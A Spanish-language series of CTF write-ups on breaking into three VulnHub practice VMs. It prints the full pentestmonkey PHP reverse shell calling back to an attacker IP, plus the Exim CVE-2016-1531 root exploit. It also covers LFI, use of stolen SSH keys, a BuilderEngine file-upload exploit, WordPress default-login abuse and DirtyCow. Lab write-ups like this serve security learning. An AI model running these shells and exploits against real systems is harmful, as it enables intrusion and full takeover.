gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:109::/var/run/dbus:/bin/false mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false lxd:x:108:65534::/var/lib/lxd/:/bin/false uuidd:x:109:114::/run/uuidd:/bin/false dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin pollinate:x:112:1::/var/cache/pollinate:/bin/false bob:x:1000:1000:bob,,,:/home/bob:/bin/bash Debian-exim:x:113:119::/var/spool/exim4:/bin/false peter:x:1001:1001:,,,:/home/peter:/bin/bash paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh </div><br> <hr> <div class="row"> <div class="col-sm-12"> <footer> <p>:copyright: Copyright 2017 Pluck</p> </footer> </div> </div> </div> </body> </h tml> * Connection #0 to host 192.168.1.67 left intact
Vemos un script en bash que permite realizar Backups con el usuario backup-user realizando una petición con curl aprovechando el LFI. En la línea comentada observamos como podemos recuperar backups de /home y /var/www/html vía tftp, en el directorio /backups. TFTP es un protocolo de transferencia de archivos trivial muy parecido a FTP, salvo que usa un puerto UDP como protocolo de transporte en vez de TCP. Unas características:
- No puede listar el contenido de los directorios.
- No existen mecanismos de autenticación o cifrado.
- Se utiliza para leer o escribir archivos de un servidor remoto.
<div class=jumbotron>#!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete" </div><br> <hr> <div class="row"> <div class="col-sm-12"> <footer> <p>:copyright: Copyright 2017 Pluck</p> </footer> </div> </div> </div> </body> </html> * Connection #0 to host 192.168.1.67 left intact
Lo descargamos vía tftp y vemos el interior del .tar. Lo extraemos y localizamos en la carpeta /home/paul unas claves, sabiendo que el puerto SSH esta abierto podemos realizar una conexión para poder obtener una shell. SSH permite manejar por completo el servidor mediante un intérprete de comandos y trabaja de forma similar a como se hace con telnet. La diferencia principal es que SSH usa técnicas de cifrado que hacen que la información que viaja por el medio de comunicación vaya de manera no legible, evitando que terceras personas puedan descubrir el usuario y contraseña de la conexión ni lo que se escribe durante toda la sesión; aunque es posible atacar este tipo de sistemas por medio de ataques de REPLAY y manipular así la información entre destinos. Más información de ataques REPLAY https://en.wikipedia.org/wiki/Replay_attack
root@kali:~# tftp 192.168.1.67 tftp> get backup.tar Received 1824718 bytes in 0.5 seconds root@kali:~# tar -tvf backup.tar drwxr-xr-x root/root 0 2017-01-18 09:27 home/ drwxr-xr-x bob/bob 0 2017-01-18 13:43 home/bob/ -rw-r--r-- bob/bob 3771 2017-01-18 06:39 home/bob/.bashrc -rw-r--r-- bob/bob 0 2017-01-18 09:40 home/bob/.sudo_as_admin_successful -rw-r--r-- bob/bob 655 2017-01-18 06:39 home/bob/.profile -rw-r--r-- bob/bob 220 2017-01-18 06:39 home/bob/.bash_logout drwxr-xr-x paul/paul 0 2017-01-18 19:13 home/paul/ drwxrwxr-x paul/paul 0 2017-01-18 19:09 home/paul/keys/ -rwxrwxr-x paul/paul 600 2017-01-18 19:08 home/paul/keys/id_key3.pub -rwxrwxr-x paul/paul 600 2017-01-18 19:08 home/paul/keys/id_key2.pub -rwxrwxr-x paul/paul 672 2017-01-18 19:08 home/paul/keys/id_key2 -rwxrwxr-x paul/paul 392 2017-01-18 19:09 home/paul/keys/id_key4.pub -rwxrwxr-x paul/paul 600 2017-01-18 19:08 home/paul/keys/id_key5.pub -rwxrwxr-x paul/paul 1675 2017-01-18 19:09 home/paul/keys/id_key6 -rwxrwxr-x paul/paul 668 2017-01-18 19:08 home/paul/keys/id_key1 -rwxrwxr-x paul/paul 668 2017-01-18 19:08 home/paul/keys/id_key5 -rwxrwxr-x paul/paul 600 2017-01-18 19:08 home/paul/keys/id_key1.pub -rwxrwxr-x paul/paul 392 2017-01-18 19:09 home/paul/keys/id_key6.pub -rwxrwxr-x paul/paul 1679 2017-01-18 19:09 home/paul/keys/id_key4 -rwxrwxr-x paul/paul 668 2017-01-18 19:08 home/paul/keys/id_key3 -rw-r--r-- paul/paul 3771 2017-01-18 09:04 home/paul/.bashrc -rw-r--r-- paul/paul 655 2017-01-18 09:04 home/paul/.profile -rw-r--r-- paul/paul 220 2017-01-18 09:04 home/paul/.bash_logout drwxr-xr-x peter/peter 0 2017-01-18 09:04 home/peter/ -rw-r--r-- peter/peter 3771 2017-01-18 09:04 home/peter/.bashrc -rw-r--r-- peter/peter 655 2017-01-18 09:04 home/peter/.profile -rw-r--r-- peter/peter 220 2017-01-18 09:04 home/peter/.bash_logout drwxr-xr-x root/root 0 2017-01-18 19:28 var/www/html/ drwxr-xr-x root/root 0 2016-07-25 15:53 var/www/html/fonts/ -rw-r--r-- root/root 108738 2016-07-25 13:43 var/www/html/fonts/glyphicons-halflings-regular.svg -rw-r--r-- root/root 18028 2016-07-25 13:43 var/www/html/fonts/glyphicons-halflings-regular.woff2 -rw-r--r-- root/root 45404 2016-07-25 13:43 var/www/html/fonts/glyphicons-halflings-regular.ttf -rw-r--r-- root/root 23424 2016-07-25 13:43 var/www/html/fonts/glyphicons-halflings-regular.woff -rw-r--r-- root/root 20127 2016-07-25 13:43 var/www/html/fonts/glyphicons-halflings-regular.eot -rw-r--r-- root/root 589 2017-01-18 18:16 var/www/html/about.php -rw-r--r-- root/root 1427 2017-01-18 19:28 var/www/html/index.php -rw-r--r-- root/root 241 2017-01-18 16:10 var/www/html/footer.php drwxr-xr-x root/root 0 2016-07-25 15:53 var/www/html/css/ -rw-r--r-- root/root 389287 2016-07-25 15:53 var/www/html/css/bootstrap.css.map -rw-r--r-- root/root 542194 2016-07-25 15:53 var/www/html/css/bootstrap.min.css.map -rw-r--r-- root/root 26132 2016-07-25 15:53 var/www/html/css/bootstrap-theme.css -rw-r--r-- root/root 23409 2016-07-25 15:53 var/www/html/css/bootstrap-theme.min.css -rw-r--r-- root/root 121200 2016-07-25 15:53 var/www/html/css/bootstrap.min.css -rw-r--r-- root/root 25648 2016-07-25 15:53 var/www/html/css/bootstrap-theme.min.css.map -rw-r--r-- root/root 47706 2016-07-25 15:53 var/www/html/css/bootstrap-theme.css.map -rw-r--r-- root/root 146010 2016-07-25 15:53 var/www/html/css/bootstrap.css -rw-r--r-- root/root 1492 2017-01-18 17:09 var/www/html/header.php -rw-r--r-- root/root 1486 2017-01-18 18:24 var/www/html/admin.php drwxr-xr-x root/root 0 2017-01-18 16:08 var/www/html/js/ -rw-r--r-- root/root 97163 2016-12-20 19:17 var/www/html/js/jquery.min.js -rw-r--r-- root/root 69707 2016-07-25 15:53 var/www/html/js/bootstrap.js -rw-r--r-- root/root 484 2016-07-25 15:53 var/www/html/js/npm.js -rw-r--r-- root/root 37045 2016-07-25 15:53 var/www/html/js/bootstr ap.min.js
[!] 03 – Obteniendo una shell
Todas las claves requerian algún tipo de contraseña hasta que llegué a id_key4.
root@kali:~/backup/home/paul/keys# ssh -i id_key1 paul@192.168.1.67 The authenticity of host '192.168.1.67 (192.168.1.67)' can't be established. ECDSA key fingerprint is SHA256:bNvu4Av4Bhl0MM7y9oSir/U4GlOayJaxliMmqVkMqTc. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.67' (ECDSA) to the list of known hosts. paul@192.168.1.67's password: Permission denied, please try again. paul@192.168.1.67's password: Permission denied, please try again. paul@192.168.1.67's password: Permission denied (publickey,password). root@kali:~/backup/home/paul/keys# ssh -i id_key2 paul@192.168.1.67 paul@192.168.1.67's password: Permission denied, please try again. paul@192.168.1.67's password: root@kali:~/backup/home/paul/keys#
Obtenemos una shell en forma de Menu (Pdmenu 1.3.4).
┌─────Main Menu─────┐ │ Directory listing │ │ Change directory │ │ Edit file │ │ Who's online? │ │ WWW │ │ Telnet │ │ Ping │ │ │ │ Exit │ └───────────────────┘ Welcome to Pdmenu 1.3.4 by Joey Hess <joey@kitenet.net>
En Edit File nos permite editar un fichero en Vim, quizás podamos escribir una shell en php y recibir una sesión con Netcat.
┌─────────────────────────────────────────────────filename?──────────────────────────────────────────────────┐ │ /tmp/shell.php └────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
Para ello usamos php-reverse-shell de http://pentestmonkey.net/tools/web-shells/php-reverse-shell modificando unicamente el campo IP con la nuestra. Es reverse cuando una máquina se conecta al atacante en lugar de conectarse directamente a ella. Ejecutamos netcat en la máquina atacante escuchando en el puerto 1234. A continuación, ejecutamos un comando (como por ejemplo curl) en la máquina remota victima haciendo que se conecte a nosotros en el puerto 1234 proporcionándonos una shell remota.
<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.1.93'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
Hacemos nuestra petición http con curl, y recibimos la sesión.
root@kali:~# curl http://192.168.1.67/index.php?page=/tmp/shell.php root@kali:~# nc -lvp 1234 listening on [any] 1234 ... ls pwd connect to [192.168.1.93] from pluck.home [192.168.1.67] 51090 Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 17:16:52 up 7:22, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT paul pts/0 192.168.1.93 16:55 32.00s 0.00s 0.00s -pdmenu uid=33(www-data) gid=33(www-data) groups=33(www-data) $
[!] 04 – Escalada de privilegios
Vamos a ver la forma de poder escalar privilegios, para ello buscaremos alguna vulnerabilidad conocida y explotarla localizando binarios con setuid. Se utilizan principalmente para permitir a los usuarios del sistema ejecutar binarios con privilegios elevados temporalmente para realizar una tarea específica. Este bit SUID puede, a veces, ser aprovechado para elevar los privilegios una vez que somos un usuario local, podemos buscar explotar aplicaciones que tengan el bit SUID establecido. Si podemos encontrar una aplicación que use permisos de root para ejecutarse, es posible que podamos manipularla para ser root. El comando find en Linux nos permite encontrar archivos que cumplen con ciertos criterios especificados. En este caso, queremos que el comando find busque todo el sistema de archivos para localizar los archivos que tienen permisos con el conjunto de bit SUID. Podemos realizarlo escribiendo el siguiente comando:
$ find / -perm -4000 -o -perm -2000 2>/dev/null /run/log/journal /run/log/journal/325440f2d6ab4a72a46acdb221aeef2f /usr/exim/bin/exim-4.84-7 /usr/bin/passwd /usr/bin/at /usr/bin/newgrp /usr/bin/pkexec /usr/bin/crontab /usr/bin/mlocate /usr/bin/sudo /usr/bin/traceroute6.iputils /usr/bin/newuidmap /usr/bin/chfn /usr/bin/gpasswd /usr/bin/wall /usr/bin/screen /usr/bin/newgidmap /usr/bin/expiry /usr/bin/ssh-agent /usr/bin/chsh /usr/bin/chage /usr/bin/bsd-write /usr/lib/x86_64-linux-gnu/utempter/utempter /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/s-nail/s-nail-privsep /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/local/share/xml /usr/local/share/xml/entities /usr/local/share/xml/declaration /usr/local/share/xml/schema /usr/local/share/xml/misc /usr/local/share/sgml /usr/local/share/sgml/stylesheet /usr/local/share/sgml/entities /usr/local/share/sgml/declaration /usr/local/share/sgml/dtd /usr/local/share/sgml/misc /bin/su /bin/umount /bin/mount /bin/fusermount /bin/ping /bin/ntfs-3g /sbin/unix_chkpwd /sbin/pam_extrausers_chkpwd /var/mail /var/cache/man /var/local /var/log/exim4 $
Con la tool searchsploit localizamos un exploit local para ese binario. Este exploit cuenta con una Proof Of Concept así que simplemente tenemos que ejecutar dichos comandos en el servidor víctima.
root@kali:~# searchsploit exim 4.84 ------------------------------------------------------------------ ---------------------------------- Exploit Title | Path | (/usr/share/exploitdb/platforms/) ------------------------------------------------------------------ ---------------------------------- Exim 4.84-3 - Privilege Escalation | linux/local/39535.sh ------------------------------------------------------------------ ---------------------------------- root@kali:/usr/share/exploitdb/platforms# cat linux/local/39535.sh #!/bin/sh # CVE-2016-1531 exim <= 4.84-3 local root exploit # =============================================== # you can write files as root or force a perl module to # load by manipulating the perl environment and running # exim with the "perl_startup" arguement -ps. # # e.g. # [fantastic@localhost tmp]$ ./cve-2016-1531.sh # [ CVE-2016-1531 local root exploit # sh-4.3# id # uid=0(root) gid=1000(fantastic) groups=1000(fantastic) # # -- Hacker Fantastic echo [ CVE-2016-1531 local root exploit cat > /tmp/root.pm << EOF package root; use strict; use warnings; system("/bin/sh"); EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps root@kali:/usr/share/exploitdb/platforms#
Nos dirigimos al directorio /tmp y ejecutamos esas sentencias del exploit.
$ cat > root.pm << EOF > package root; > use strict; > use warnings; > > system("/bin/sh"); > EOF $ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps id uid=0(root) gid=33(www-data) groups=33(www-data) cd .. cd /root ls flag.txt cat flag.txt Congratulations you found the flag --------------------------------------- ###### (((((((((((((((((((((((((((((( ######### ((((((((((((((((((((((((((( ,,########## (((((((((((((((((((((((( @@,,,########## ((((((((((((((((((((( @@@@@,,,########## @@@@@@@@,,,############################ @@@@@@@@@@@,,,######################### @@@@@@@@@,,,########################### @@@@@@,,,########## @@@,,,########## &&&&&&&&&&&&&&&&&&&& ,,,########## &&&&&&&&&&&&&&&&&&&&&&& ########## &&&&&&&&&&&&&&&&&&&&&&&&&& ####### &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
hackfest2016: Quaoar
Sigamos con otra VM de Vulnhub, esta es más sencilla y viene con pistas además de las tools que nos pueden ser utiles para usar:
"Here are the tools you can research to help you to own this machine.
nmap
dirb / dirbuster / BurpSmartBuster
nikto
wpscan
hydra
Your Brain
Coffee
Google :)"
Y aquí el enlace para poder descargar: https://www.vulnhub.com/entry/hackfest2016-quaoar,180/
[!] 01 – Aplicación Web
Vemos el código fuente al acceder a la web, pero no aporta nada de información.
<div> <a href="Hack_The_Planet.jpg"> <img src="Quaoar.jpg" width="100%" height="100%"/> </a> </div>
Le pasamos la tool Nikto con el fin de obtener información de la aplicación web.
root@kali:~# nikto -h 192.168.1.114 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.1.114 + Target Hostname: 192.168.1.114 + Target Port: 80 + Start Time: 2017-08-21 15:34:52 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 06:00:10 2016 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3 + Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 2 entries which should be manually viewed. + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3233: /icons/README: Apache default file found. + /wordpress/: A WordPress installation was found. + 8348 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2017-08-21 15:35:31 (GMT2) (39 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Vemos que tiene un CMS WordPress instalado. Intentamos logearnos con admin:admin ya que según la descripción de la VM es muy fácil, que menos que use un Usuario:Password tremendamente complejo. Bingo! una vez estando logeado me dirijo hacía los plugins ya que recuerdo hacer con anterioridad una VM con un WordPress y aprovechar en subir una php-shell-reverse. Localizo un fichero con extensión .php, así que, porque no pruebo en Editarlo? ¯\_(ツ)_/¯
[!] 02 – Obteniendo Shell
Añadimos la php-shell-reverse usada en la VM anterior y con el Netcat a la escucha y obtenido!. El procedimiento es el mismo que lo anterior. Con python podemos obtener el tty para interactuar aún más con el sistema.
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ python -c 'import pty; pty.spawn("/bin/bash")' $ cd /home $ ls wpadmin $ cd wpadmin $ ls flag.txt cat flag.txt 2bafe61f03117ac66a73c3c514de796e
Obtenemos la primera flag. Ahora localizamos el fichero wp-config.php para ver la configuración de la BBDD. En otro CTF que hice hace tiempo viendo este fichero pude obtener usuario:password de MySQL.
$ cd /var/www/wordpress $ cat wp-config.php define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'rootpassword!'); /** MySQL hostname */ define('DB_HOST', 'localhost');
[!] 03 – Escalando Privilegios
Si ahora probamos usar root:rootpassword! para la escalada de privilegios, encontraremos probablemente la segunda flag.
$ su $ Password: rootpassword! # id uid=0(root) gid=0(root) groups=0(root) # cd /root # cat flag.txt 8e3f9ec016e3598c5eec11fd3d73f6fb
hackfest2016: Sedna
Seguimos resolviendo otra VM, sin embargo esta es nivel Medio. Veremos que tal sale. Pueden descargarse esta VM aquí: https://www.vulnhub.com/entry/hackfest2016-sedna,181/
[!] 01 – Enumeración
root@kali:~# nmap -sV 192.168.1.51 Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-17 13:57 CEST Nmap scan report for 192.168.1.51 Host is up (0.0018s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.9.5-3-Ubuntu 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd (Ubuntu) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd (Ubuntu) 995/tcp open ssl/pop3 Dovecot pop3d 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds
[!] 02 – Análisis de aplicación web
root@kali:~# nikto -h 192.168.1.51 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.1.51 + Target Hostname: 192.168.1.51 + Target Port: 80 + Start Time: 2017-08-21 17:17:08 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.7 (Ubuntu) + Server leaks inodes via ETags, header found with file /, fields: 0x65 0x53fb059bb5bc8 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + "robots.txt" contains 1 entry which should be manually viewed. + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3268: /files/: Directory indexing found. + OSVDB-3092: /files/: This might be interesting... + OSVDB-3092: /system/: This might be interesting... + OSVDB-3233: /icons/README: Apache default file found. + OSVDB-3092: /license.txt: License file found may identify site software. + 7536 requests: 0 error(s) and 12 item(s) reported on remote host + End Time: 2017-08-21 17:17:49 (GMT2) (41 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
El fichero robots.txt no aloja ninguna información interesante. Entro en /files y me muestra un Index of. Navegando por todos los directorios no encontre nada interesante bajo mi parecer, sin embargo en el fichero /license.txt vi el nombre de un Software.
Index of /files [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [DIR] be_demo/ 2016-06-10 11:52 - [IMG] blogimage.jpg 2016-06-10 11:52 65K [DIR] captcha/ 2016-06-10 11:52 - [IMG] loading.gif 2016-06-10 11:52 36K [DIR] users/ 2016-06-10 11:52 - Apache/2.4.7 (Ubuntu) Server at 192.168.1.51 Port 80
Procedi a ver si existia algún tipo de vulnerabilidad conocida sobre BuilderEngine en exploitdb.
root@kali:~# searchsploit BuilderEngine ----------------------------------------------------------------------------- ---------------------------------- Exploit Title | Path | (/usr/share/exploitdb/platforms/) ----------------------------------------------------------------------------- ---------------------------------- BuilderEngine 3.5.0 - Arbitrary File Upload | php/webapps/40390.php BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit) | php/remote/42025.rb ----------------------------------------------------------------------------- ----------------------------------
Visualizamos el exploit, para saber que es lo que hace. Nos permite hacer un Remote File Inclusion. RFI es el proceso de incluir archivos remotos a través de la explotación de procedimientos de inclusión vulnerables implementados en la aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una página recibe como entrada la ruta al archivo que debe incluirse, permitiendo que la URL externa se inyecte. La mayoría de los ejemplos apuntan a scripts PHP vulnerables.
<!-- # Exploit Title: BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0 # Date: 18/09/2016 # Exploit Author: metanubix # Vendor Homepage: http://builderengine.org/ # Software Link: http://builderengine.org/page-cms-download.html # Version: 3.5.0 # Tested on: Kali Linux 2.0 64 bit # Google Dork: intext:"BuilderEngine Ltd. All Right Reserved" 1) Unauthenticated Unrestricted File Upload: POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/ Vulnerable Parameter: files[] We can upload test.php and reach the file via the following link: /files/test.php --> <html> <body> <form method="post" action="http://192.168.1.51/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]" /> <input type="submit" value="send" /> </form> </body>
Usaremos nuestra php-shell-reverse favorita de PentestMonkey vista en la primera VM y la guardamos como shell.php. Ahora vía el exploit de BuilderEngine subimos la shell.php. El envió es sencillo, simplemente con el exploit lo guardamos en .html, activamos el servicio Apache de manera local y finalmente abrimos el navegador y damos a enviar la shell reverse.
{“files”:[{“name”:”shell.php”,”size”:945,”type”:”application\/x-php”,”url”:”http:\/\/192.168.1.51\/files\/shell.php”,”deleteUrl”:”http:\/\/192.168.1.51\/themes\/dashboard\/assets\/plugins\/jquery-file-upload\/server\/php\/?file=shell.php”,”deleteType”:”DELETE”}]}
[!] 03 – Obteniendo Shell
Como podéis observar una vez enviado, la respuesta recibida nos muestra información sobre la localización del fichero shell.php. Recibimos la sesión con Netcat del mismo modo que las dos VM anteriores. Visualizamos en el directorio donde esta alojado la aplicación web y obtenemos la primera flag como usuario.
$ cat /var/www/flag.txt bfbb7e6e6e88d9ae66848b9aeac6b289
[!] 04 – Escalada de privilegios
Usamos DirtyCow por la versión del Kernel vulnerable y seguimos la PoC del exploit para la escalada de privilegios. Comentamos el código del payload según lo vayamos a compilar si en x86 o x64. Este es el exploit https://www.exploit-db.com/exploits/40616/
$ gcc cowroot.c -o cowroot -pthread $ ./cowroot DirtyCow root privilege escalation Backing up /usr/bin/passwd.. to /tmp/bak Size of binary: 45420 Racing, this may take a while.. thread stopped thread stopped /usr/bin/passwd is overwritten Popping root shell. Don't forget to restore /tmp/bak bash: cannot set terminal process group (1825): Inappropriate ioctl for device bash: no job control in this shell # echo 0 > /proc/sys/vm/dirty_writeback_centisecs # id uid=0(root) gid=33(www-data) groups=0(root),33(www-data) # cat /root/flag.txt a10828bee17db751de4b936614558305
Hasta la siguiente entrada, un saludo.